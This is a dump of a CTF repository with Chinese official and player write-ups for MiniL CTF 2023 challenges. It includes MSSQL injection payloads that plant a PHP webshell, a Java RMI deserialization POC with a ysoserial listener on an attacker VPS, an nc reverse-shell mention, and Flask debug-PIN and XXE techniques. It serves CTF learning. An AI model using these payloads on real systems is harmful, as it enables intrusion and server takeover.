| 156 | num = None 157 | if num is None: 158 | h.update(b"pinsalt") 159 | num = f"{int(h.hexdigest(), 16):09d}"[:9] 160 | 161 | rv=None 162 | if rv is None: 163 | for group_size in 5, 4, 3: 164 | if len(num) % group_size == 0: 165 | rv = "-".join( 166 | num[x : x + group_size].rjust(group_size, "0") 167 | for x in range(0, len(num), group_size) 168 | ) 169 | break 170 | else: 171 | rv = num 172 | 173 | print(rv) 174 | ``` 175 | 176 | 最后建议校内的同学能去调试一下 177 | 178 | ## ezsql 179 | 180 | **by xlccccc** 181 | 182 | 此题的启发是出题人在玩游戏的时候想要复制某个网站的某url,却发现要充五块钱才能复制100次,于是出题人稍微试了试就发现有个地方存在**mssql注入**,这道题的大部分查询逻辑都是复现当时的真实场景( ~~除了能getshell~~ 183 | 184 | 本题的查询逻辑是 首先利用给出的id查到该**id**对应的某个**number**,然后用该**number**去得到**name** 185 | 186 | 不过出题人懒得写了,所以就变成了 187 | 188 | ```sql 189 | SELECT id FROM dbo.users WHERE id = 1 190 | ``` 191 | 192 | 用id查id🤣,不过最终返回的结果是**name**,有没有师傅发现这个奇怪的点呢? 193 | 194 | 这个地方的目的是,当你第一步查的结果是字符串的时候,用字符串去进行第二步的查询会例如下面这样报错 195 | 196 | > Conversion failed when converting the nvarchar value 'ctf' to data type int. 197 | 198 | 在转换字符串时出错,这样也是为了给你看回显,否则是看不到回显的。 199 | 200 | 对于**空白字符过滤的绕过**,视频hint已经给的很清楚了,希望校内师傅能用好搜索引擎,很容易找到的东西不至于卡这么久 201 | 202 | 第二步就是想想如何getshell,题面已经写的很清楚了(但还是有很多师傅问我为什么库内找不到flag...) 203 | 204 | 当然,能列任意目录,查任意文件也是可以的 205 | 206 | 这道题的本质就是一道信息题,很多信息都很容易得到,解这么少还是很意外的 207 | 208 | ![image-20230510234829988](Web_Writeup.assets/image-20230510234829988.png) 209 | 210 | 第一个结果就能看到最终预期的getshell方式,当然,这是作为出题人的我一眼发现的,而作为做题人,去试试每种方法也很容易做出这道题 211 | 212 | 对于绕过过滤,各位师傅其实最后的payload大差不差,这里给出一种最直接的办法 213 | 214 | ```sql 215 | alter database ctf set RECOVERY FULL 216 | 1;declare%01@s%01varchar(2000)%01set%01@s=0x616c7465722064617461626173652063746620736574205245434f564552592046554c4c20%01exec(@s) 217 | 218 | create table cmd (a image) 219 | 1;declare%01@s%01varchar(2000)%01set%01@s=0x637265617465207461626c6520636d6420286120696d61676529%01exec(@s) 220 | 221 | backup log ctf to disk = '/var/www/html' with init 222 | 1;declare%01@s%01varchar(2000)%01set%01@s=0x6261636b7570206c6f672063746620746f206469736b203d20272f7661722f7777772f68746d6c2f312e62616b27207769746820696e6974%01exec(@s) 223 | 224 | insert into cmd (a) values (0x3c3f706870206576616c28245f504f53545b315d293b3f3e) #密码为1的一句话 225 | 1;declare%01@s%01varchar(2000)%01set%01@s=0x696e7365727420696e746f20636d64202861292076616c7565732028307833633366373036383730323036353736363136633238323435663530346635333534356233313564323933623366336529%01exec(@s) 226 | 227 | backup log ctf to disk = '/var/www/html/shell.php' 228 | 1;declare%01@s%01varchar(2000)%01set%01@s=0x6261636b7570206c6f672063746620746f206469736b203d20272f7661722f7777772f68746d6c2f7368656c6c2e70687027%01exec(@s) 229 | ``` 230 | 231 | 这部分也是通过搜索得来的,毕竟是你不了解的数据库,最容易的办法自然是通过搜索引擎 232 | 233 | ## minijava 234 | 235 | **by xlccccc** 236 | 237 | **最最最最基础的java题** 238 | 239 | 如果你是一位Java安全大佬,拿到题目附件后 240 | 241 | 反编译,发现有反序列化入口,同时发现包内有 **commons-collections-3.2.1** 可以反序列化rce 242 | 243 | 然后你又发现这里对反序列化的类做了白名单过滤 244 | 245 | ![image-20230510235616880](Web_Writeup.assets/image-20230510235616880.png) 246 | 247 | 很显然,直接反序列化是无法rce的,接着你去看User的`readObject` 248 | 249 | ![image-20230510235655449](Web_Writeup.assets/image-20230510235655449.png) 250 | 251 | 发现此处连接了一个rmi,而这个**registry1**又是你可以控制的,那么你的思路就很明显了,构造一个恶意的**Server**,然后打**RMI反序列化漏洞**,最终可以实现绕过白名单任意反序列化,从而打CC链来rce 252 | 253 | ```java 254 | package ctf.minil.java.minil; 255 | 256 | import ctf.minil.java.minil.bean.User; 257 | import java.io.ByteArrayOutputStream; 258 | import java.io.ObjectOutputStream; 259 | import java.lang.reflect.Field; 260 | import java.rmi.registry.LocateRegistry; 261 | import java.rmi.registry.Registry; 262 | 263 | public class POC { 264 | public static void main(String[] args) throws Exception { 265 | User user = new User("L_team", 18); 266 | Registry registry = LocateRegistry.getRegistry("ip", 1099); 267 | setFieldValue("registry", registry, user); 268 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 269 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); 270 | objectOutputStream.writeObject(user); 271 | byte[] bytes1 = byteArrayOutputStream.toByteArray(); 272 | String encode = java.util.Base64.getEncoder().encodeToString(bytes1); 273 | System.out.println(encode); 274 | } 275 | 276 | public static void setFieldValue(String name, Object value, Object obj) throws Exception{ 277 | Field f = obj.getClass().getDeclaredField(name); 278 | f.setAccessible(true); 279 | f.set(obj, value); 280 | } 281 | 282 | // put in User 283 | private void writeObject(ObjectOutputStream out) throws Exception { 284 | out.writeInt(114514); 285 | out.writeByte(2); 286 | out.defaultWriteObject(); 287 | } 288 | } 289 | ``` 290 | 291 | 写一个简单的poc绕过if判断然后vps上执行 292 | 293 | ``` 294 | java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "calc.exe" 295 | ``` 296 | 297 | 就能rce了 298 | 299 | 当然,本次比赛面对的更多是没学过java的同学,所以才会有**最最最最基础的java题**(~~而不是**来吧展示**~~ 300 | 301 | 所以你在做这道题的时候,就不要想着能一个下午或者一个晚上做出这道题,对于完全不了解java安全的你,更应该尝试了解一下在ctf中java题是怎么样的(对于不了解java基本语法的,那就需要学更多了 302 | 303 | 你会在看到源码的发现反序列化点的时候,尝试搜索 **ctf java反序列化** 304 | 305 | 在你看了足够多的文章之后,你能了解到CC链这个可以直接rce的包,你也在本题的环境中发现了这个包 306 | 307 | 然后你这个时候应该去**花很多时间**研究一下**CC链**的原理,最好可以跟着调试一下,这时候你就得到了一个可以通过反序列化rce的payload 308 | 309 | 当然,你打了之后会发现并不能打通 310 | 311 | 你再次看了源码之后发现源码中反序列化的类和你调试的时候用的不一样 312 | 313 | ![image-20230511000819131](Web_Writeup.assets/image-20230511000819131.png) 314 | 315 | 你看这个文件之后加上一定是搜索很容易就能知道这是一个白名单 316 | 317 | 于是你会看向User类,因为前面的调试你已经有了不少经验,你知道反序列化的入口是`readObject`,你发现这个地方重写了`readObject`,这里也只有可能是唯一出现漏洞给你rce的地方了 318 | 319 | 你首先会尝试绕过`readObject`中的几个判断,简单写了一个poc之后,你发过去它却报错了,你的POC部分很可能是以下这样 320 | 321 | ![image-20230511001504939](Web_Writeup.assets/image-20230511001504939.png) 322 | 323 | 这时候你该寻找一下你代码的问题(~~而不是将poc甩给出题人问为什么反序列化不成功~~ 324 | 325 | 在进行了对jar包的调试已经报错后,你甚至发现它都没有进入`User.readObject` 326 | 327 | 当你去掉`writeInt`和`writeByte`后,它竟然能进入了! 328 | 329 | 所以很明显就是这里出了问题,你可能通过搜索或者由前面得到的经验感觉到,由于序列化流的问题,User是在`readObject`时进行读取的,那么你首先是进入`readObject`,然后才是`writeInt`和`writeByte`,所以你会想到,你需要重写User的`writeObject`方法,然后再次反序列化 330 | 331 | ```java 332 | private void writeObject(ObjectOutputStream out) throws Exception { 333 | out.writeInt(114514); 334 | out.writeByte(1); 335 | out.defaultWriteObject(); 336 | } 337 | ``` 338 | 339 | 你就成功了 340 | 341 | 接下来就是这行奇怪的代码 342 | 343 | ```java 344 | Hello hello = (Hello)registry1.lookup("hello"); 345 | hello.world(this); 346 | ``` 347 | 348 | 你再次利用搜索引擎得到相关信息,用不了多久,你会得到一个关键词 **RMI反序列化** 349 | 350 | 然后你细读**RMI反序列化**的文章就能找到**Server攻击Client**的例子,当你仔细的学完这部分之后,你便能拿到flag了(不要每个文章都点点,几分钟扫完然后告诉我我已经把能想到的都用了,细读才是最重要的 351 | 352 | poc已贴在上面 353 | -------------------------------------------------------------------------------- /Official/Web_Writeup.assets/image-20230510230717235.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Official/Web_Writeup.assets/image-20230510230717235.png -------------------------------------------------------------------------------- /Official/Web_Writeup.assets/image-20230510231708019.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Official/Web_Writeup.assets/image-20230510231708019.png -------------------------------------------------------------------------------- /Official/Web_Writeup.assets/image-20230510233134632.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Official/Web_Writeup.assets/image-20230510233134632.png -------------------------------------------------------------------------------- /Official/Web_Writeup.assets/image-20230510234829988.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Official/Web_Writeup.assets/image-20230510234829988.png -------------------------------------------------------------------------------- /Official/Web_Writeup.assets/image-20230510235616880.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Official/Web_Writeup.assets/image-20230510235616880.png -------------------------------------------------------------------------------- /Official/Web_Writeup.assets/image-20230510235655449.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Official/Web_Writeup.assets/image-20230510235655449.png -------------------------------------------------------------------------------- /Official/Web_Writeup.assets/image-20230511000819131.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Official/Web_Writeup.assets/image-20230511000819131.png -------------------------------------------------------------------------------- /Official/Web_Writeup.assets/image-20230511001504939.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Official/Web_Writeup.assets/image-20230511001504939.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Mini-L-CTF-2023 2 | 3 | > MiniL CTF 2023 WriteUp 4 | 5 | Mini L CTF 2023 题目 官方题解 选手题解仓库 6 | 7 | - `WriteUps/<队名>` 参赛队伍的题解 8 | - `Official/` 官方题解 9 | - `Challenges/` 题目文件 10 | 11 | ## 题解提交方式 12 | 13 | 点击右上角~~star~~ fork 按钮将本仓库fork到你的GitHub帐号里,然后在WriteUps文件夹中新建一个文件夹,以你的队伍名称命名,将题解放在这个文件夹里,然后对本仓库提交一个Pull Request 14 | 15 | 16 | ## Copyright @ XDSEC 17 | 18 | 本仓库所有题目、官方题解版权归属于XDSEC组织所有,你可以: 19 | 20 | ### 不需要告知与授权 21 | 22 | - 用于个人学习,包括发表博客文章、题解,文章附上本仓库地址即可; 23 | - 在非商业平台上部署开放本仓库题目供其他人练习,题目描述中附加题目来源信息即可; 24 | 25 | ### 需要授权 26 | 27 | - 在商业平台上部署开放本仓库的题目供其他人练习; 28 | - 使用本仓库题目进行盈利活动; 29 | - 在其他比赛中使用本仓库题目(不建议在比赛中使用已经出现在其他比赛中的题目); 30 | 31 | 如果您有以上需求,请发送邮件到 [admin@xdsec.club](mailto:admin@xdsec.club) 告知用途并申请授权,收到许可回复后方可使用。 32 | -------------------------------------------------------------------------------- /WriteUps/MeowMeowMeow/MeowMeowMeow For Mini L 2023.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/MeowMeowMeow/MeowMeowMeow For Mini L 2023.pdf -------------------------------------------------------------------------------- /WriteUps/MeowMeowMeow/Readme: -------------------------------------------------------------------------------- 1 | MeowMeowMeow的WP 2 | -------------------------------------------------------------------------------- /WriteUps/README.md: -------------------------------------------------------------------------------- 1 | # 选手题解 2 | 3 | 请在此文件夹内新建一个文件夹,以你的队伍名称命名,将题解放在这个文件夹里,然后对本仓库提交一个Pull Request 4 | -------------------------------------------------------------------------------- /WriteUps/W4ntY0u/W4ntY0u.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/W4ntY0u/W4ntY0u.pdf -------------------------------------------------------------------------------- /WriteUps/v3ggieB1rd/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/v3ggieB1rd/img/1.png -------------------------------------------------------------------------------- /WriteUps/v3ggieB1rd/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/v3ggieB1rd/img/2.png -------------------------------------------------------------------------------- /WriteUps/v3ggieB1rd/img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/v3ggieB1rd/img/3.png -------------------------------------------------------------------------------- /WriteUps/v3ggieB1rd/img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/v3ggieB1rd/img/4.png -------------------------------------------------------------------------------- /WriteUps/v3ggieB1rd/img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/v3ggieB1rd/img/5.png -------------------------------------------------------------------------------- /WriteUps/whocansee/whocansee.md: -------------------------------------------------------------------------------- 1 | ## 写在前面 2 | 3 | 因为是要放进仓库的wp,这里就只简单讲下做题流程,其它一些个人想说的话和额外的CTF套路总结就放在自己博客里了 http://whocansee.github.io 欢迎来玩~ 4 | 5 | ------ 6 | 7 | ## Web 8 | 9 | ### mini java 10 | 11 | ~~这个题难死我辣,虽然听出题人说是最最基础的java反序列化题(做出来之后再回顾,确实如此)但对于此前从来没做过java题的我来说确实太痛苦了,感谢出题人xl哥对我若智提问的不离不弃QAQ~~ 12 | 13 | 首先说下思路吧,题目给出了源代码,从中可以发现靶机会调用lookup方法连上注册中心,在RMI中,这次过程的靶机就相当于客户端,而我们要做的就是用服务端来攻击客户端,网上有很多文章是讲这个的,这篇个人觉得比较好:https://xz.aliyun.com/t/7932#toc-2 14 | 15 | 此外,服务端必须要有公网IP,靶机才能去连接,这里建议服务端搭在自己的VPS上。 16 | 17 | 接下来说到具体的攻击手法,其实很简单,自己用Ysoserial起一个EXP/JRMP listener,设置好端口和payload,只要客户端对服务端用lookup发起请求,服务端就会返回一个包含了恶意payload的Exception,最终在客户端(也就是靶机上)实现RCE。 18 | 19 | 事情到这里都很美好,从确定方向是RMI,被出题人点醒RMI的远程方法调用是在服务端运行,客户端只是会接受服务端返回的结果后,我又看了一个B站UP白日梦组长的RMI系列视频,最终想好了具体的流程,~~然而,折磨才刚刚开始~~ 20 | 21 | 由于本人大一下选的Java是速成的,基础不能说一点没有吧,起码也是千疮百孔。所以在做题的过程中遇到了无数rz问题,单单一个readint、readbyte条件如何满足就卡了我将近一整天,在这里再次感谢xl哥555。考虑到具有良好Java基础的大佬们应该不会犯我这种低级错误,在wp里我就不多说自己踩的坑了,简单说说怎么满足条件。 22 | 23 | ![MTRSULXR_LV49C@NPUP@OZG.png](https://s2.loli.net/2023/05/07/GC7puA4MKORgFqb.png) 24 | 25 | 首先,虽然User类中定义的readObject方法是private,IDEA里显示no usage,但这里实际会调用到User类的readObject方法。而readint和readbyte都是在User类中的readObject方法中进行的,也就是说,int、byte、object得在一块儿,这就需要我们在User类中重写writeObject方法,顺便registry也在这里赋值了 26 | 27 | (host填自己VPS的IP地址,另外VPS也要开放1099端口):![FR5OGPL@EM_JQ@6WZUVGPBX.png](https://s2.loli.net/2023/05/07/Cz7rIXdKN9PTfy5.png) 28 | 29 | 然后生成一个base64编码后的字节流 30 | 31 | ![_825H4B_9I___LP_TQH4055.png](https://s2.loli.net/2023/05/07/sG7egZNA2zBLU5C.png) 32 | 33 | URL编码结果后用data参数传入网站,如果已经设置好了VPS,开启了Yso,显示error不要慌,这是因为返回了一个包含了恶意payload的Excption,看看Yso是否接收到了请求并返回Exception。至于payload,因为是无回显RCE,我试了很多常用的方法都不行,最后是VPS开监听,让靶机执行nc做到反弹shell,flag就在根目录。 34 | 35 | 这里附一个cn-sec讲CTF中无回显的文章http://cn-sec.com/archives/504625.html 36 | 37 | ~~关于这道题的更多细节就留到自己博客讲了(×~~ 38 | 39 | ### FakeLogin 40 | 41 | ~~据xl哥说这道题涉及的知识点组会讲过,我没听那次组会,但也知道有这种解法,因为没复现过所以一时没想起来,到后面XXE中的expect、ssh2全用了一遍都不行才想着往这条路走(~~ 42 | 43 | 这道题就不放图了,当时做的时候一直开不了环境,换的台式机才开上,写wp用的笔记本,所以懒得换上去截图了(×) 44 | 45 | 一进来就是XXE,抓个包很容易就注入进去,发现了根目录的/flag,提示要RCE才能读真正的flag 46 | 47 | 关于XXE,找到一篇XDSEC前辈[K0rz3n](https://www.k0rz3n.com/)写的文章,https://xz.aliyun.com/t/3357 48 | 49 | 可以算是非常详尽地介绍了XXE漏洞,我在利用方式里翻找了一番,对这道题使用了以下操作 50 | 51 | 1. 文件读取,把常见的都读了个遍 52 | 2. 根据文件读取的结果,尝试探测内网开放情况与服务端口,结果连127.0.0.1都没有。。。(这里我换十六进制,xip.io什么的都试过了,还是不行) 53 | 3. 尝试使用伪协议,能做到RCE的expect和ssh2都不行 54 | 55 | 一筹莫展之际,我望着报错页面出神,突然觉得它不太协调,明明是个XXE的题,为啥用Flask模板来做后端,有没有一种可能...... 56 | 57 | 方向确认之后就很简单了,花了差不多一小时找到EXP和所需的五个值,带进去算出来进入Debug,执行env从环境变量中拿到了flag 58 | 59 | 顺便给个网上找到的文章,里面有生成pin码的EXP,对这个知识点也介绍的很详尽了:https://blog.csdn.net/qq_35782055/article/details/129126825 60 | 61 | PS:值得一提的是不同版本的python生成pin码的方式并不一样,这个毕竟报错页面会给你版本和路径,稍微注意下就行,不是什么大问题 62 | 63 | 啊对了还有,BurpSuite里的Render开不了Debug,记得在浏览器里面进去 64 | 65 | ### ezsql 66 | 67 | 进去页面看到是个SQL注入的题,有结果回显,还直接给了语句。 68 | 69 | ![U80@_AP_2EV`R_MP5DS6_AK.png](https://s2.loli.net/2023/05/07/t9MpgjmGwx3KZrl.png) 70 | 71 | 拿出祖传字典fuzz一下,发现过滤了空格、星号、百分号、引号以及常用的增删查改关键字(**但是大小写能绕过,这个点很重要**) 72 | 73 | 再结合题目描述的是让我们在非MySQL环境下拿根目录的flag,在这就能明确以下几点: 74 | 75 | 1. 增删查改语句大概率要用到(并且大概率可以堆叠注入) 76 | 2. 我们需要通过文件读写或者RCE来拿根目录的flag 77 | 3. 空格是一定得绕的,并且不是用括号绕,因为肯定要用到增删查改语句 78 | 4. 解题方法大概率需要用到DBMS特性 79 | 5. 引号用十六进制绕 80 | 81 | 简单测了一下,发现以下几点 82 | 83 | 1. 数字型 84 | 2. 可以堆叠注入 85 | 3. 只回显第一个语句的结果 86 | 4. 是sql server,并且版本很新,不存在用某CVE去做 87 | 88 | 接下来开始考虑怎么绕空格,在这里我犯了很严重的失误,因为有段时间没看SQL注入了,临时去网上查到空白字符绕过空格的方式大部分都是采用URL编码,而我一想到过滤了百分号就把这种方式直接Pass了(真的经验严重不足)然而这个题是POST提交,根本就不用交%02啥的(另外,就算是GET提交%02也能过,后端检测是先解码再检测)——总之,我在这个问题上耽误了好久,最后是靠着hint解决了,害。 89 | 90 | 下一步就是查资料,找到文件读写或者RCE的方法写payload,这一步倒是很顺利,我了解到,和mysql不同,在sql server中不存在内置文件读写函数,那么就只能从RCE的方向入手。之后找到了一篇全面讲解sql server注入的文章(写入shell的具体原理请自行学习) 91 | 92 | http://www.ppmy.cn/news/9311.html 93 | 94 | 里面给出了多种提权方式,xp_cmdshell、sp_oacreate、差异备份都尝试无果后,我利用log backup语句成功写入shell,以下介绍一下具体流程和踩坑: 95 | 96 | 因为某些申必原因(属实不懂为什么),自建数据库再插值再备份再进行log备份会报错(这里我已经手动备份了一次,但还是不行)(第一个是备份数据库的报错,说是报错,感觉也不像有错误啊.....)![NY_VV8T3_TDY6@1F9_~R0_7.png](https://s2.loli.net/2023/05/07/fJhSutKnLFplaTd.png)![5AX__8TBK2WQ_1@ZFMWJL5L.png](https://s2.loli.net/2023/05/07/fKqVt1b3BHUQDLO.png) 97 | 98 | 因此,考虑利用题目本身就有的数据库进行插值后log备份(前提是它本身就备份过一次)先说插值,我首先想到的是id,然而会报错: 99 | 100 | ```mssql 101 | payload: inSertintousers(id)values(0x3c3f70687020406576616c28245f504f53545b2777686f63616e736565275d293b203f3e) 102 | ``` 103 | 104 | ![~8AH_ZP_@FM9N1`8PQ6_P_D.png](https://s2.loli.net/2023/05/07/4EunNYeiJUHcv3R.png) 105 | 106 | 一开始我还以为是语法不对,但仔细地排查过后,我确信这个位置是可以用十六进制的,但就是不行,为什么呢? 107 | 108 | 在这里卡住了很长时间,万不得已向出题人咨询,总算被点醒,id是int类型的,插个char进去当然不行,而且这个报错信息啊。。。让人不明所以 109 | 110 | 那么就想想怎么办吧,肯定是换个字段插。报错信息其实已经告诉了name字段,如果没告诉也可以自己去查出来,但我当时是用的新建一个字段然后把一句话木马插到新的字段的方法,payload如下~ 111 | 112 | ```mssql 113 | 1;ALTERTABLEusersADDwcsvarchar(2000)NULL; 114 | 1;inSertintousers(id,wcs,name)values(17,0x3c3f70687020706870696e666f28293b203f3e,36); 115 | 1;declare@wcsvarchar(2000)set@wcs=0x2f7661722f7777772f68746d6c2f6f6b6f6b2e706870bacKuplogctftodisk=@wcswithinit; 116 | ``` 117 | 118 | 这里额外补充两点 119 | 120 | 1. 涉及到路径的时候,直接让disk=十六进制表示的路径会报错,所以采用了先定义变量再引用的方法 121 | 2. 一写入就访问会提示没有权限,这个时候访问一次index.php再去访问马就可以了 122 | 123 | PS:写wp的时候试了试,不知道为啥我写马一直连不上去,测了phpinfo()是可以的,方法没问题 124 | 125 | ### Signin 126 | 127 | ~~这道题据出题人安权师傅说,我是校内第一个做出来的,真好捏,虽然是签到题(×)~~ 128 | 129 | 首先进来就发现首页是典中典的无效页,直接上看源码、抓包、dirsearch三件套,除了抓包没什么收获,通过源码里的注释和dirsearch都能发现 130 | 131 | ![_~_4EJ6USY_9Q_IA~4X7XQK.png](https://s2.loli.net/2023/05/07/93FcKGHkrlb8JXj.png) 132 | 133 | 进入/shell.php 134 | 135 | ![MX`NWS7__K7B__@05LXQP_B.png](https://s2.loli.net/2023/05/07/wYVc9M6A4rI13UT.png) 136 | 137 | 稍有点经验就应该能看出来,要读flag.php就必须通过最后一行`$str1($str2);`来进行,而这两个变量又是怎么来的呢,是通过substr对`$class->$c()`的返回值做分割得到的,并且分割的区间可以由我们控制。这样一来思路就很清晰了,只需要让`$class->$c()`的返回值里包含我们需要的`system` `cat /flag`等字符串就可以了(当然必须是连续的) 138 | 139 | 因此我们的目光投向了`$class = new $a($b);` 很好,三个参数a, b, c我们都能控制,接下来就是考虑,**往什么类里传什么参数调用什么方法能返回我们需要的值**,毫无疑问的一点是,`system` `cat /flag`等字符串肯定是我们传进去的参数,并且需要让他们保持原样拼接在返回值中,那么需要什么类和什么方法呢? 140 | 141 | 因而,我们来考虑源码中的过滤,对原生类的过滤中,SplFileObject被ban了其实无所谓,在这个题中本来也用不出来。Error被ban了还挺伤的,但也给了我们新的思路:在绕过中,最重要的思路之一就是寻找代替,比如——Exception 142 | 143 | 这里在本地试试就知道,原生类用Exception,调用__toString方法,返回值里可以包含我们传入的参数,结果如下: 144 | 145 | ```php 146 | Exception: systemwhoami in C:\Code\Php\poc.php:4 147 | Stack trace: 148 | #0 {main} 149 | ``` 150 | 151 | 但是这里有两个坑,我做题的时候很快就想到这样做,但执行命令一直没反应,这里先说第一个 152 | 153 | **PHP版本差异带来的传入参数位置差异** 154 | 155 | 当时我在本地搭的环境打通了,可是题目里的一直不行,急坏了的我去咨询了下出题人,得知可能是我本地的PHP版本和题目的不同。我试了试PHP5和PHP7去运行同样的代码,返回的报错信息果然不同,具体地说,PHP5的报错信息会更多,因此传入的参数位置相较于PHP7会更加后移,但其实这个是可以爆破出来的,只需要在BurpSuite中把d设置为0~200,e设置为6~206,为什么设置要这么大的范围呢,因为反正不亏不如保险点(我当时就是因为爆破只设置0~30,完美避开了36.....) 156 | 157 | **flag藏在了PHP文件的注释里** 158 | 159 | 经验丰富的老师傅肯定会第一时间Ctrl+U了,但菜鸡如我却会怀疑自己是不是哪里写错了()最后是用BurpSuite爆破看返回页面长度找到的(话说页面长度也不是完全靠谱的,有些题会让关键回显和普通回显的页面长度一致,这时候需要筛选关键词或者状态码) 另外,在这种情况下也可以先不急,控制变量来排除问题,比如先执行一个whoami啥的,不管有没有回显都能立刻发现问题的真正所在。 160 | 161 | ## Misc 162 | 163 | ~~Misc本来没打算做了,看了看排名,做一个签到题就可以涨一名,好吧,真香!~~ 164 | 165 | 预想会很容易,没想到也花了将近两个小时才做出来。 166 | 167 | 上来就给了个压缩包,里面是pwd和flag压缩包,那很显然需要拿到密码去解压。拖到010editor里面去看,发现是wav的文件头,很久没做misc了,去搜了搜,出来一个频谱图的wp,照猫画虎拿到密码RxIsTheRealGod,解压flag 168 | 169 | 拖到010editor里面搜minil,得到提示和flag的前半段,要用到一个叫做SSTV的东西,再结合题目名字画外音,以及描述中的signal,需要用SSTV来接收信号。 170 | 171 | 去查了下这类题目的做法,首先要下个虚拟声卡把默认输入输出都变成声卡的,这样就可以让Potplayer播放的声音成为SSTV的输入,一边播放音频就能在SSTV中得到隐藏的图片,然后手写flag。 172 | 173 | 但是这个音频从哪儿来....虽然我进XDSEC靠的是misc,但在Noah师傅“纯学Misc没前途(除非取证)” 的劝诫下,我改学Web去了。misc题差不多有一年多没做过了,在这个地方卡了好久,甚至还尝试去播放pwd()后来看到flag前半段的提示,应该是这个flag文件本身就有flag,需要配合SSTV取出来,010editor拖进去再看一遍,发现flag前面就是IEND结束符,把中间的flag去掉,从RIFF开始就是wav文件,选中到末尾,新建十六进制文件,粘贴进去保存,重命名为wav文件播放,结束~ 174 | 175 | ![22T7IM@R_EWQ37KGOPC6UWT.png](https://s2.loli.net/2023/05/07/F9lXAMCaTxBG2z6.png) 176 | 177 | 178 | 179 | 180 | 181 | -------------------------------------------------------------------------------- /WriteUps/ɯɐǝʇ˥/Easypass.md: -------------------------------------------------------------------------------- 1 | # Easy Pass wp by dr3 2 | 3 | ## 初步分析 4 | 5 | 解压附件没有可执行的文件,得到一个so 6 | 7 | 阅读README可知,这个so是一个LLVM Pass 8 | 所谓Pass,就是llvm在编译ir的时候对ir进行的操作,可以由用户 9 | 自行编写,进行自定义的操作 10 | 11 | 还有一个bc,即llvm的字节码。其实可以使用llvm-dis进行反编译 12 | ,可以直接回到ll,从而获取其中的变量 13 | 14 | ## 运行尝试 15 | 16 | 由于出题人的高超技巧,使得这个pass只能在非常稳(yuan)定(gu) 17 | 的llvm 10上面运行。然而,由于我的kali最旧最旧的版本也是13 18 | 而奇怪的是这个老版本压根就没法运行 19 | 20 | 反正我是不懂得,没办法,装呗 21 | 22 | https://packages.ubuntu.com/focal/llvm-10 23 | 24 | 直接用这个装就行,带dpkg的都可以 25 | 26 | ![loading-ag-172](assets/img_1.png) 27 | 28 | ## 静态分析 29 | 30 | 进入load函数,可以发现注册了一个pass 31 | 32 | 最后的pass传到了sub_2660 33 | 34 | 打开发现函数很大,没法直接反编译 35 | 36 | 函数的头部全是函数调用。但是仔细看可以发现每个函数都只做了 37 | 一件事,就是return了一个1 38 | 39 | 所以其实就是干扰的花指令,全部nop掉就可以 40 | 41 | ```python 42 | for i in range(0x2673,0x6C9B): 43 | patch_byte(i,0x90) 44 | ``` 45 | 46 | 之后就可以f5 47 | 48 | ![img_2.png](assets/img_2.png) 49 | 50 | 首先是通过getName找到了16个string放到了数组里 51 | 52 | ![img_3.png](assets/img_3.png) 53 | 之后进入一个函数对数组进行加密 54 | 55 | ![img_4.png](assets/img_4.png) 56 | 最后从数组的最后几位进行对比 57 | 58 | ## getName 59 | 60 | 其实开始不知道得到了什么,不过好在配好了环境可以调试 61 | 62 | 虽然是llvm加载的so,但是配置好了输入的参数就可以直接进行调试 63 | 就像下面这张图一样 64 | ![img_5.png](assets/img_5.png) 65 | 之后其实可以发现, 66 | 那个循环就是获得了函数的名称。 67 | 68 | 因此,加密之后应该是固定的。只需要把加密算法抠出来,之后 69 | 直接初始化flag,然后用z3跑一下就能出来了 70 | 71 | 还有一点就是提取数据的时候注意要小端序 72 | 73 | 以下是完整脚本 74 | 75 | ```python 76 | from z3 import * 77 | 78 | str0 = [0x01, 0x61, 0x61, 0x43, 0x43, 0x7A, 0x43, 0x7A, 0x7A, 0x4D, 79 | 0x4D, 0x61, 0x4D, 0x43, 0x4D, 0x61, 0x00, 0x00, 0x00, 0x00, 80 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 81 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 82 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 83 | 